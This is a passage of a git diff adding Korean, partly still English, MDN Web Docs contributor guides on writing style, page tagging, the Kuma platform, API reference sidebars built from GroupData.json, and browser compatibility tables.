+   <li><span class="correct"><strong>바름</strong></span>: If you'd like to <a href="https://wiki.developer.mozilla.org/ko/docs/Mozilla/Developer_guide">contribute to the Firefox project</a>, your first step is to <a href="https://wiki.developer.mozilla.org/ko/docs/Mozilla/Developer_guide/Build_Instructions">download and build Firefox</a>.</li>
+   <li><span class="incorrect"><strong>틀림</strong></span>: <a href="https://wiki.developer.mozilla.org/ko/docs/Mozilla/Developer_guide">If you'd like to contribute to the Firefox project</a>, your first step is to <a href="https://wiki.developer.mozilla.org/ko/docs/Mozilla/Developer_guide/Build_Instructions">download and build</a> Firefox.</li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="URL_정책">URL 정책</h4>
+
+<p>보안 때문에, 아래 스킴(schemes)을 사용한 링크만 생성할 수 있다:</p>
+
+<ul>
+ <li><code>http://</code></li>
+ <li><code>https://</code></li>
+ <li><code>ftp://</code></li>
+ <li><code>mailto:</code></li>
+</ul>
+
+<p>이 외의 것은 동작할 수도 아닐수도 있지만, 편집 스태프에 의해 지원되거나 삭제되지 않을 것이다.</p>
+
+<div class="blockIndicator note">
+<p>특별히,  <code>about:</code> 이나 <code>chrome://</code> 스킴은 동작하지 않으므로 피해야 한다.</p>
+
+<p>유사하게 , <code>javascript:</code> 스킴도 <code>jar:</code>와 마찬가지로 대부분의 모던 브라우저에서 막혀있다</p>
+</div>
+
+<h3 id="페이지_태그">페이지 태그</h3>
+
+<p>Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags.</p>
+
+<p>You can find details on tagging in our <a href="https://wiki.developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag">How to properly tag pages</a> guide.</p>
+
+<p>The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:</p>
+
+<p><img alt="Screenshot of the UX for adding and removing tags on MDN" src="https://mdn.mozillademos.org/files/7859/tag-interface.png"></p>
+
+<p>To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press <kbd>Enter</kbd> (or <kbd>Return</kbd>) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.</p>
+
+<p>To remove a tag, just click the little "<code>×</code>" icon in the tag.</p>
+
+<h4 id="Tagging_pages_that_need_work">Tagging pages that need work</h4>
+
+<p>In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.</p>
+
+<h4 id="Tagging_obsolete_pages">Tagging obsolete pages</h4>
+
+<p>Use the following tags for pages that are not current:</p>
+
+<dl>
+ <dt>Junk</dt>
+ <dd>Use for spam, pages created by mistake, or content that is so bad that it should be deleted. Pages with this tag are deleted from time to time.</dd>
+ <dt>Obsolete</dt>
+ <dd>
+ <p>Use for content that is technically superseded, but still valid in context. For example, this might be an HTML element that is obsolete in HTML5, but still valid in HTML 4.01.</p>
+
+ <p>You can also use the {{TemplateLink("obsolete_header")}} macro to put a prominent banner on the topic.</p>
+ </dd>
+ <dt>Archive</dt>
+ <dd>
+ <p>Use for content that is technically superseded and no longer useful. If possible, add a note to the topic referring readers to a more current topic.</p>
+
+ <p>For example, a page that describes how to use the Mozilla CVS repository should refer readers to a current topic on using Mercurial repos. (If no corresponding current topic exists, use the <em>NeedsUpdate</em> tag, and add an explanation on the Talk page.)</p>
+
+ <p>Pages with the <em>Archive</em> tag are eventually moved from the main content of MDN to the <a href="https://wiki.developer.mozilla.org/en-US/docs/Archive">Archive</a> section.</p>
+ </dd>
+</dl>
+
+<h3 id="SEO_summary">SEO summary</h3>
+
+<p>The SEO summary provides a short description of a page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself. (In other words, it's not just for SEO.)</p>
+
+<p>By default, the first paragraph of the page is used as the SEO summary. However, you can override this behavior by marking a section with the <a href="https://wiki.developer.mozilla.org/en-US/docs/Project:MDN/Contributing/Editor_guide/Editing#Formatting_styles">"SEO summary" style in the WYSIWYG editor</a>.</p>
+
+<h3 id="Landing_pages">Landing pages</h3>
+
+<p><strong>Landing pages</strong> are pages at the root of a topic area of the site, such as the main <a href="https://wiki.developer.mozilla.org/en-US/docs/CSS" title="CSS">CSS</a> or <a href="https://wiki.developer.mozilla.org/en-US/docs/HTML" title="HTML">HTML</a> pages. They have a standard format that consists of three areas:</p>
+
+<ol>
+ <li>A brief (typically one paragraph) overview of what the technology is and how it's used. See {{anch("Writing a landing page overview")}} for tips.</li>
+ <li>A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.</li>
+ <li>An <strong>optional</strong> "Browser compatibility" section at the bottom of the page.</li>
+</ol>
+
+<h4 id="Creating_a_page_link_list">Creating a page link list</h4>
+
+<p>The link list section of an MDN landing page consists of two columns. These are created using the following HTML:</p>
+
+<pre class="notranslate">&lt;div class="row topicpage-table"&gt;
+  &lt;div class="section"&gt;
+    ... left column contents ...
+  &lt;/div&gt;
+  &lt;div class="section"&gt;
+    ... right column contents ...
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>The left column should be a list of articles, with an <code>&lt;h2&gt;</code> header at the top of the left column explaining that it's a list of articles about the topic (e.g., "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <code>&lt;dl&gt;</code> list of articles with each article's link in a <code>&lt;dt&gt;</code> block and a brief one-or-two sentence summary of the article in the corresponding <code>&lt;dd&gt;</code> block.</p>
+
+<p>The right column should contain one or more of the following sections, in order:</p>
+
+<dl>
+ <dt>Getting help from the community</dt>
+ <dd>This should provide information on Matrix chat rooms and mailing lists available on the topic. The heading should use the class "Community".</dd>
+ <dt>Tools</dt>
+ <dd>A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".</dd>
+ <dt>Related topics</dt>
+ <dd>A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".</dd>
+</dl>
+
+<p><strong>{{TODO("Finish this once we finalize the landing page standards")}}</strong></p>
+
+<h2 id="Using_and_inserting_images">Using and inserting images</h2>
+
+<p>It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical.</p>
+
+<p>To include an image:</p>
+
+<ol>
+ <li>Before uploading your image, please ensure that it's as small as possible by using an image optiization tool.
+  <ul>
+   <li>For bitmap images (JPG or PNG), consider a tool such as <a href="https://imageoptim.com/mac">ImageOptim</a> (macOS), <a href="https://tinypng.com/">TinyPNG</a> (web service), or <a href="https://trimage.org/">Trimage</a> (Linux).</li>
+   <li>For SVG images, use the <code><a href="https://github.com/svg/svgo">svgo</a></code> tool to optimize the SVG file before sending it. The default configuration is fine.</li>
+  </ul>
+ </li>
+ <li>Attach the desired image file to the article (at the bottom of every article in edit mode). If your artwork is a diagram in SVG format (which is ideal if there is text that may need to be localized), you can't upload it directly, but you can ask an MDN admin to do it for you.</li>
+ <li>Click the "<strong>insert image</strong>" button in the MDN documentation WYSIWYG editor.</li>
+ <li>In the WYSIWYG editor's drop-down list of attachments, select the newly created attachment that is your image.</li>
+ <li>Press the <strong>OK</strong> button.</li>
+</ol>
+
+<div class="blockIndicator warning">
+<p><strong>Important:</strong> Remember to save any changes you've made before uploading an attachment to your article! The editor is closed during the upload process, and currently <em>does not verify</em> whether or not you wish to save your work when it does so.</p>
+</div>
+
+<h2 id="Other_references">Other references</h2>
+
+<h3 id="Preferred_style_guides">Preferred style guides</h3>
+
+<p>If you have questions about usage and style not covered here, we recommend referring to the <a href="https://docs.microsoft.com/en-us/style-guide/welcome/">Microsoft Writing Style Guide</a>—or, failing that, the <a href="https://www.amazon.com/Chicago-Manual-Style-16th/dp/0226104206">Chicago Manual of Style</a>. An <a href="https://faculty.cascadia.edu/cma/HIST148/cmscrib.pdf">unofficial crib sheet for the Chicago Manual of Style</a> is available online.</p>
+
+<h3 id="Preferred_dictionary">Preferred dictionary</h3>
+
+<p>For questions of spelling, please refer to <a href="http://www.dictionary.com/">Dictionary.com</a>. The spelling checker for this site uses American English. Please do not use variant spellings (e.g., use <em>color</em> rather than <em>colour</em>).</p>
+
+<p>We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please post them on the <a href="https://discourse.mozilla.org/c/mdn">MDN discussion forum</a>, so we know what should be added.</p>
+
+<h3 id="MDN-specific">MDN-specific</h3>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros" title="Project:en/Custom_Templates">Commonly-used macros</a> on MDN, with explanations</li>
+</ul>
+
+<h3 id="Language_grammar_spelling">Language, grammar, spelling</h3>
+
+<p>If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.</p>
+
+<ul>
+ <li><a href="http://www.amazon.com/Writing-Well-30th-Anniversary-Nonfiction/dp/0060891548">On Writing Well</a>, by William Zinsser (Amazon link)</li>
+ <li><a href="http://www.amazon.com/Style-Basics-Clarity-Grace-4th/dp/0205830765/" title="http://www.amazon.com/Style-Lessons-Clarity-Grace-Edition/dp/0321898680">Style: The Basics of Clarity and Grace</a>, by Joseph Williams and Gregory Colomb (Amazon link)</li>
+ <li><a href="https://brians.wsu.edu/common-errors-in-english-usage/">Common Errors in English</a></li>
+ <li><a href="http://www-personal.umich.edu/~jlawler/aue.html">English Grammar FAQ</a> (alt.usage.english)</li>
+ <li><a href="http://www.angryflower.com/bobsqu.gif">Bob's quick guide to the apostrophe, you idiots</a> (funny)</li>
+ <li><a href="http://www.amazon.com/Merriam-Websters-Concise-Dictionary-English-Usage/dp/B004L2KNI2" title="http://www.amazon.com/Merriam-Websters-Concise-Dictionary-English-Usage/dp/B004L2KNI2">Merriam-Webster's Concise Dictionary of English Usage</a> (Amazon link): Scholarly but user-friendly, evidence-based advice; very good for non-native speakers, especially for preposition usage.</li>
+ <li><a href="http://english.stackexchange.com/">English Language and Usage StackExchange</a>: Question and answer site for English language usage.</li>
+</ul>
diff --git a/files/ko/mdn/index.html b/files/ko/mdn/index.html
new file mode 100644
index 0000000000..283278498e
--- /dev/null
+++ b/files/ko/mdn/index.html
@@ -0,0 +1,34 @@
+---
+title: MDN 프로젝트
+slug: MDN
+tags:
+  - Documentation
+  - MDN
+  - NeedsTranslation
+  - TopicStub
+translation_of: MDN
+---
+<div>{{MDNSidebar}}</div>
+
+<p><strong>Mozilla Developer Network</strong>(MDN)는 오픈 웹, Mozilla 기술, Firefox OS를 비롯한 개발을 주제로 한 문서를 보관하는 위키입니다. 이곳에는 누구나 내용을 추가하거나 편집할 수 있습니다. 프로그래머가 아니거나 기술에 대해 많이 알고 있지 않아도 괜찮습니다. 글이 잘 읽히도록 문장을 다듬고 오타를 교정하는 간단한 일부터, API 문서를 작성하는 일까지 해야하는 일은 다양하니까요.</p>
+
+<div class="summary">
+<p>MDN 프로젝트는 오픈 웹, Mozilla 기술, Mozilla 프로젝트 문서화를 목표로 합니다. 여러분들께 도움을 청합니다!</p>
+</div>
+
+<p>여러분들의 도움이 필요합니다! 글을 쓰고 수정하는데 권한이 필요한 건 아닌지 실수를 하면 어떻게 될지 두려워하지 마세요. 대신 <a href="/ko/docs/MDN/Community" title="/ko/docs/MDN/Community">MDN 공동체</a>에 대해 한번 알아보세요. 우리는 여러분을 도와드리기 위해 이곳에 있습니다! 아래의 문서들을 통해 MDN에 참여하는 법을 배울 수 있습니다.</p>
+
+
+
+<ul class="card-grid">
+ <li><span><a href="/ko/docs/MDN/Getting_started">초보자 가이드</a></span>
+
+  <p>MDN이 처음이고 문서 개선에 참여하고 싶으신가요? 여기서부터 시작하세요!</p>
+ </li>
+ <li><span><a href="/ko/docs/MDN/Contribute">숙련자 가이드</a></span>
+  <p>MDN 기여자를 위한 완벽하고 깊이있는 가이드 문서가 준비되어 있습니다.</p>
+ </li>
+ <li><span><a class="new" href="/ko/docs/MDN/Promote" rel="nofollow">MDN 알리기</a></span>
+  <p>MDN이 마음에 드신다면 세상에 알려주세요! MDN을 알리는데 필요한 그림, 도구, 안내문을 찾아보세요.</p>
+ </li>
+</ul>
diff --git a/files/ko/mdn/kuma/index.html b/files/ko/mdn/kuma/index.html
new file mode 100644
index 0000000000..becf84221a
--- /dev/null
+++ b/files/ko/mdn/kuma/index.html
@@ -0,0 +1,26 @@
+---
+title: '쿠마(Kuma): MDN 위키 플랫폼'
+slug: MDN/Kuma
+tags:
+  - MDN 메타
+  - 시작하기
+  - 쿠마
+translation_of: MDN/Kuma
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/ko/docs/MDN")}}</div>
+
+<div>쿠마(Kuma)는 MDN Web Docs를 작동시키는 Django 코드 입니다. </div>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<h2 id="Kuma와_함께해주세요.">Kuma와 함께해주세요. </h2>
+
+<p>함께 하고 싶다면 </p>
+
+<ul>
+ <li><a href="https://github.com/mozilla/kuma">Github의 Kuma 프로젝트</a>를 방문해서 </li>
+ <li><a href="https://github.com/mozilla/kuma/blob/master/CONTRIBUTING.md">기여하는 법</a>을 확인하고 </li>
+ <li>필요하다면 <a href="http://kuma.readthedocs.org/en/latest/">kuma 문서 전체</a>를 차근차근 살펴보세요. </li>
+</ul>
diff --git a/files/ko/mdn/structures/api_references/api_reference_sidebars/index.html b/files/ko/mdn/structures/api_references/api_reference_sidebars/index.html
new file mode 100644
index 0000000000..fd8be5585d
--- /dev/null
+++ b/files/ko/mdn/structures/api_references/api_reference_sidebars/index.html
@@ -0,0 +1,114 @@
+---
+title: API 레퍼런스의 사이드바
+slug: MDN/Structures/API_references/API_reference_sidebars
+translation_of: MDN/Structures/API_references/API_reference_sidebars
+---
+<div>{{MDNSidebar}}</div>
+
+<p class="summary">API 레퍼런스 문서에는 수정 가능한 사이드바 를 추가할 수 있습니다. 이 사이드바에 인터페이스, 튜토리얼, 혹은 API와 관련된 자료 링크를 노출합니다. 그 사용법을 설명합니다. </p>
+
+<h2 id="뭘_해야_하나요">뭘 해야 하나요?</h2>
+
+<p>사이드바 생성은 다음 세 단계로 나뉩니다. </p>
+
+<ol>
+ <li>API 레퍼런스 페이지를 만듭니다. </li>
+ <li><a href="https://github.com/mdn/kumascript">KumaScript 레파지토리</a>의 GroupData.json 데이터 파일에 그 API를 위한 엔트리를 추가합니다. </li>
+ <li>사이드바가 필요한 페이지에 \{{APIRef}} 메크로를 추가합니다.</li>
+</ol>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>를 샘플로 삼아서 단계별로 살펴 보겠습니다. </p>
+
+<h3 id="신규_API_레퍼런스_페이지_만들기">신규 API 레퍼런스 페이지 만들기</h3>
+
+<p>페이지에 사이드바를 추가하기 전에 여러분은 페이지를 만들어야 합니다. (자세한건 API 레퍼런스 문서에 필요한건 무엇일까요? 마이드 문서를 보세요)</p>
+
+<h3 id="GroupData.json에_API의_엔트리를_추가하기">GroupData.json에 API의 엔트리를 추가하기</h3>
+
+<p><a href="https://github.com/mdn/kumascript/blob/master/macros/GroupData.json">GroupData.json</a> 파일은 API 레퍼런스 문서의 사이드바 안에 담아야 하는 모든 데이타를 담고 있습니다. API를 파라미터로 주고 \{{APIRef}}메크로를 실행하면, GroupData.json에서 탐색해서 사이드바를 생성하고 페이지에 추가합니다. </p>
+
+<p>GroupData.json에 엔트리를 추가하려면 다음을 따르세요.</p>
+
+<ol>
+ <li><a href="https://github.com/">GitHub</a> 계정이 필요합니다. </li>
+ <li>KumaScript 레파지토리를 포크뜨고, 작업할 브랜치를 생성하고 로컬에 클론을 뜹니다. </li>
+ <li>생성한 브랜치로 체크아웃을 하고 작업후 오리진으로 푸시합니다. </li>
+ <li>MDN 팀이 리뷰할 수 있도록 풀 리퀘스트를 날려주시고, 필요하다 생각이 들면 변경 요청을 주세요.</li>
+</ol>
+
+<p>GitHub 사용법을 잘 모르겠으면 <a href="/ko/docs/MDN/Contribute/Structures/Compatibility_tables#The_new_way_The_browser_compat_data_repo_and_dynamic_tables">호환성 테이블 가이드</a> 문서를 참고하세요. 자세한 내용이 있습니다. </p>
+
+<p><a href="https://github.com/mdn/kumascript/blob/master/macros/GroupData.json">GroupData.json</a>은 KumaScript 레파지토리의 macros 폴더 안에 있습니다. 파일을 열어보면 API별로 자기 내용을 가진 거대한 JSON 구조체를 볼 수 있습니다. 키는 API명이고, 값은 사이드바 링크를 생성하기 위해 정의된 하위 멤버를 담은 객체입니다. </p>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 를 예로 들면 일치하는 GroupData.json의 엔트리가 다음과 같습니다. </p>
+
+<pre class="brush: json notranslate">"Fetch API": {
+    "overview":   [ "Fetch API"],
+    "interfaces": [ "Body",
+                    "Headers",
+                    "Request",
+                    "Response",
+                    "FetchController",
+                    "FetchObserver",
+                    "FetchSignal",
+                    "ObserverCallback" ],
+    "methods":    [ "WindowOrWorkerGlobalScope.fetch()" ],
+    "properties": [],
+    "events":     []
+},
+</pre>
+
+<p>보다시피 키 명을 "Fetch API"으로 명명 하고 있고, 하위 멤버들을 담은 객체를 가지고 있습니다. </p>
+
+<h4 id="GroupData_엔트리에_담긴_하위_멤버들">GroupData 엔트리에 담긴 하위 멤버들</h4>
+
+<p>GroupData 엔트리에 추가할 수 있는 하위 멤버 목록입니다. </p>
+
+<p>리스트업된 하위 멤버값 대부분은 링크걸 텍스트와 링크 생성을 위해 메인 API 색인 페이지(https://developer.mozilla.org/<em>&lt;language-code&gt;</em>/docs/Web/API) 끝에 추가될 슬러그입니다. 예를 들어 en-US 로케일에서 "Body"는 아래 링크를 만듭니다. </p>
+
+<pre class="brush: html notranslate">&lt;li&gt;&lt;a href="https://developer.mozilla.org/en-US/docs/Web/API"&gt;Body&lt;/a&gt;&lt;/li&gt;
+</pre>
+
+<p>몇가지 예외가 있습니다.. 예를 들어 "guides" 하위 멤버는 가이드/튜토리얼 관련 링크를 정의할 하나이상의 링크 정보(타이틀과 슬러그)를 갖고 있는데, 이경우 슬러그는 MDN 어디든 추가될 수 있도록 MDN 문서 루트(https://developer.mozilla.org/<em>&lt;language-code&gt;</em>/docs)의 끝에 추가됩니다. </p>
+
+<p>사용가능한 멤버들입니다. 로케일은 en-US로 가정합니다. </p>
+
+<ol>
+ <li>
+  <p><code>"overview"</code> — 값은 배열이고, API 오버뷰 문서의 슬러그입니다. 하나인 경우 "Fetch API"이면 다음 같은 링크를 만듭니다. <a href="/en-US/docs/Web/API/Fetch_API">https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API</a>.</p>
+ </li>
+ <li>
+  <p><code>"interfaces"</code> — 해당 API의 인터페이스 전체 목록을 담은 배열 입니다. 값이 "Body"이면 다음 과 같은 링크를 만듭니다. <a href="/en-US/docs/Web/API/Body">https://developer.mozilla.org/en-US/docs/Web/API/Body</a>.</p>
+ </li>
+ <li>
+  <p><code>"methods"</code> — the value is an array that should contain any methods the spec adds to interfaces associated with other APIs, such as instantiation methods created on {{domxref("Navigator")}} or {{domxref("Window")}}. If there are a huge number of methods, you might want to consider only listing the most popular ones, or putting them first in the list. "WindowOrWorkerGlobalScope.fetch()" results in a link being made to <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch</a>.</p>
+ </li>
+ <li>
+  <p><code>"properties"</code> — the value is an array that should contain all of the properties associated with the API. This can include properties that are members of interfaces defined in the API spec, and properties the API defines on other interfaces. If there are a huge number of properties, you might want to consider only listing the most popular ones, or putting them first in the list. "Headers.append" results in a link being made to <a href="/en-US/docs/Web/API/Headers/append">https://developer.mozilla.org/en-US/docs/Web/API/Headers/append</a>.</p>
+ </li>
+ <li>
+  <p><code>"events"</code> — the value is an array that should contain all of the events associated with the API, defined in the API spec, or elsewhere. If there are a huge number of events, you might want to consider only listing the most popular ones, or putting them first in the list. "animationstart" results in a link being made to <a href="/en-US/docs/Web/Events/animationstart">https://developer.mozilla.org/en-US/docs/Web/Events/animationstart</a>.</p>
+ </li>
+ <li>
+  <p><code>"guides"</code> — the value is an array containing one or more objects that define links to guides explain how to use the API. Each object contains two submembers — "url", which contains the partial URL pointing to the guide article, and "title", which defines the link test for the link. As an example, the following object:</p>
+
+  <pre class="brush: json notranslate">{ "url":   "/docs/Web/API/Detecting_device_orientation",
+"title": "Detecting device orientation" }</pre>
+
+  <p>Creates a link with the title "Detecting device orientation", which points to <a href="/en-US/docs/Web/API/Detecting_device_orientation">https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation</a>.</p>
+ </li>
+</ol>
+
+<h3 id="API_Submembers_and_Tags">API Submembers and Tags</h3>
+
+<p>Some submembers are automatically discovered from child pages, based on page tags.  Pages under the top-level API are crawled each time the sidebar is rendered, and entries are automatically created for methods ("Method" tag), properties ("Property" tag), and constructors ("Constructor" tag).</p>
+
+<p>Submembers are automatically decorated with warning icons based on tags as well.  Decorations are added for experimental ("Experimental" tag), non-standard ("Non Standard" or "Non-standard" tag), deprecated ("Deprecated" tag), or obsolete ("Obsolete" tag) submembers.</p>
+
+<p>Further information about tag-based processing is available <a href="https://github.com/mdn/kumascript/blob/master/macros/APIRef.ejs">in the APIRef source</a>.</p>
+
+<h3 id="Inserting_the_sidebar_in_your_pages">Inserting the sidebar in your pages</h3>
+
+<p>Once you've added an entry for your API into GroupData.json, submitted it as a pull request and had the change accepted into the main repo, you can include it in your API reference pages using the \{{APIRef}} macro, which takes the name you used for your API in GroupData as a parameter. As an example, the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a>'s sidebar is included in its pages with the following:</p>
+
+<p>\{{APIRef("WebVR API")}}</p>
diff --git a/files/ko/mdn/structures/api_references/index.html b/files/ko/mdn/structures/api_references/index.html
new file mode 100644
index 0000000000..c521b5f4ec
--- /dev/null
+++ b/files/ko/mdn/structures/api_references/index.html
@@ -0,0 +1,58 @@
+---
+title: API 레퍼런스
+slug: MDN/Structures/API_references
+tags:
+  - API
+  - 가이드
+  - 레퍼런스
+  - 봉사
+translation_of: MDN/Structures/API_references
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p class="summary">웹에서 사용 가능한 기술 중 클라이언트 측 자바스크립트 API가 차지하는 비중은 상당히 높습니다. 그렇기 때문에, MDN은 API의 기능과 사용법을 설명하는 광범위한 참조 자료를 보유하고 있습니다. 이 안내 문서는 이런 API 참고 자료를 MDN에 생성하는 방법을 설명합니다. </p>
+
+<h2 id="사전_준비">사전 준비</h2>
+
+<p>API를 문서화 하려면 다음이 가능해야 합니다. </p>
+
+<ol>
+ <li>최종 버전의 스팩: 그 API를 다루는 스팩의 단계가 W3C 최종 권고안인지, 초안인지는 관계없지만, 최종 버전의 스팩을 참조해야 합니다.  보통은 웹에서 쉽게 검색할 수 있으며, 그 스팩의 모든 버전의 문서에는 보통 최종 버전으로의 링크가 "lastest draft"등의 제목으로 걸려있습니다. </li>
+ <li>최신 모던 브라우저: 여러분이 문서화할 기능들은 정식 버전이 아닌 <a href="https://nightly.mozilla.org/">파이어폭스 나이틀리</a>/<a href="https://www.google.com/intl/en/chrome/browser/canary.html">크롬 카나리</a>와 같은 실험 버전에서 지원할 가능성이 높습니다. 앞서가는 실험적인 API를 문서화 한다면 더욱 이런 버전의 브라우저를 사용해야 합니다. </li>
+ <li>데모/블로그 글/다른 정보: 가능하면 최대한 정보를 찾아보세요. 그 API가 어떻게 동작하는지 스스로 익숙히는 좋은 출발점이 됩니다. 주 인터페이스, 프로퍼티, 메서드가 무엇인지, 주요한 유즈 케이스가 어떻게 되는지 배우고, 어떻게 그 기능을 간단시 서술할지 고민하세요. </li>
+ <li>기술문의 활용: API 표준화에 참여했거나 브라우저에서 그 스팩을 구현한 누군가에게 기술문의를 할 수 있는 나만의 연락처를 찾을 수 있다면 정말 좋습니다. 다음을 참고하세요.
+  <ul>
+   <li>관련 업무를 보는 회사에서 근무한다면 사내 주소록</li>
+   <li>그 API에 대한 토론 채널에 참여한 공개 메일링 리스트. 모질라의 <a href="https://lists.mozilla.org/listinfo/dev-platform">dev-platform</a>, <a href="https://lists.mozilla.org/listinfo/dev-webapi">dev-webapi</a> 목록, <a href="https://lists.w3.org/Archives/Public/public-webapps/">public-webapps</a> 같은 W3C 목록 참고</li>
+   <li>스팩 문서. 예를 들면 <a href="https://webaudio.github.io/web-audio-api/">Web Audio API 문서</a> 상단에는 저자들의 연락처가 있음.</li>
+  </ul>
+ </li>
+</ol>
+
+<h2 id="문서_구조">문서 구조</h2>
+
+<dl>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/API_references/What_does_an_API_reference_need">API 레퍼런스 문서에 필요한 것은 무엇일까요? </a></dt>
+ <dd>이 문서는 완벽한 API 레퍼런스 문서에 필요한 것들을 설명합니다. </dd>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/Page_types">페이지 타입</a></dt>
+ <dd>MDN에서 반복적으로 사용되는 페이지 타입들이 있습니다. 이 문서는 그 타입들의 목적을 설명하고 신규 문서를 만들때 사용할 수 있는 템플릿 예제를 제공합니다. </dd>
+</dl>
+
+<h2 id="페이지의_기능">페이지의 기능</h2>
+
+<p>API 레퍼런스 문서를 위한 페이지 기능을 생성하는 방법을 설명합니다. </p>
+
+<dl>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/API_references/API_reference_sidebars">API 레퍼런스 사이드바</a></dt>
+ <dd>작성한 MDN API 레퍼런스 문서에 사이드바를 추가할 때, 여러분은 API와 관련된 인터페이스 튜토리얼, 다른 자료 링크를 맘대로 출력할 수 있습니다. 이 문서는 그 방법을 설명합니다. </dd>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/Syntax_sections">API 문법 섹션</a></dt>
+ <dd>MDN 참조 문서에서 문법 섹션은 그 기능이 가지고 있는 정확한 문법을 기술한 박스형태를 띄고 있다. (어떤 매개변수가 사용가능한지, 어떤 것이 옵션인지 등) 그 문서는 레퍼런스 문서를 위한 문법 섹션 작성법에 대해 설명합니다. </dd>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/Code_examples">예제 코드</a></dt>
+ <dd>웹 플랫폼 기능 사용법을 설명하는 페이지에는 어김없이 많은 예제 코드가 있습니다. 이 문서는 페이지에 예제 코드를 추가하기 위한 각각의 가능한 메카니즘을 기술합니다. 무엇을 언제 사용해야 하는지도 함께요.</dd>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/Specification_tables">스펙 테이블</a></dt>
+ <dd>MDN의 모든 레퍼런스 페이지는 API나 기술이 정의된 스팩, 또는 그 스팩에 대한 정보를 제공해야 합니다. 이 문서는 테이블의 형태와 제작 방법을 설명합니다. </dd>
+ <dt><a href="/ko/docs/MDN/Contribute/Structures/Compatibility_tables">호환성 테이블</a></dt>
+ <dd>MDN은 오픈 웹 문서, 즉 모든 브라우저에서 공유되는 DOM, HTML, CSS, JavaScript, SVG 등과 같은 기술 문서를 위한 호환성 테이블 표준을 가지고 있습니다. 이 문서는 호환성 데이터를 MDN 페이지에 추가하는 기능 사용법을 다룹니다. </dd>
+</dl>
diff --git a/files/ko/mdn/structures/compatibility_tables/index.html b/files/ko/mdn/structures/compatibility_tables/index.html
new file mode 100644
index 0000000000..2d1c19eda8
--- /dev/null
+++ b/files/ko/mdn/structures/compatibility_tables/index.html
@@ -0,0 +1,496 @@
+---
+title: 호환성 표
+slug: MDN/Structures/Compatibility_tables
+translation_of: MDN/Structures/Compatibility_tables
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p class="summary">MDN에는 우리의 열린 웹 문서화(즉 모든 브라우저가 공유하는 DOM, HTML, CSS, JavaScript, SVG 등의 기술에 대한 문서화) 의 호환성 표를 위한 표준 형식이 있습니다. 이 글은 우리의 기능들을 이용하여 MDN 페이지들에 호환성 데이터를 추가하는 방법을 다룹니다.</p>
+
+<div class="warning">
+<p><strong>중요</strong>: <strong><em>데이터가 생성되는 방법이 바뀌었습니다</em></strong>. 예전에는 페이지에 넣는 표의 값을 수동으로 넣었습니다. 이 방법은 비효율적이고 유지보수를 어렵도록 하며 데이터가 유연하지 못하게 만듭니다. 그래서 브라우저 호환 데이터를 깃허브 레포지토리(주소: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>)로 옮기고 호환성 표를 코드를 통해 생성하는 방식으로 바꾸었습니다.</p>
+
+<p>In this guide, we document the new way to add compat data to MDN, but we've still kept documentation covering the old way, as you'll see manual tables on MDN for a while. If you need to see the old documentation, check out our <a href="/en-US/docs/MDN/Contribute/Structures/Old_compatibility_tables">Old compatibility tables</a> article.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: If you need any help with any steps of this guide, you are welcome to contact us at the <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>.</p>
+</div>
+
+<h2 id="How_to_access_the_data_repo">How to access the data repo</h2>
+
+<p>The data is stored in a GitHub repo — see <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. To access it, you need to get a GitHub account, fork the browser-compat-data repo over to your own account, then clone your fork onto your local machine.</p>
+
+<h2 id="Choosing_a_feature_to_add_data_for">Choosing a feature to add data for</h2>
+
+<p>First of all, find a feature that you want to add browser-compat-data for. This could be an HTML element, CSS property, JS language feature or JS API interface, for example. We would like to encourage you to work on API features, as we already have people working on HTML, JS, and CSS. You can find the status of features that need their data adding to the repo on our <a href="https://docs.google.com/spreadsheets/d/1ivgyPBr9Lj3Wvj5kyndT1rgGbX-pGggrxuMtrgcOmjM/edit#gid=926663640">Browser Compat Data migration</a> spreadsheet.</p>
+
+<p>The process for using this is as follows:</p>
+
+<ol>
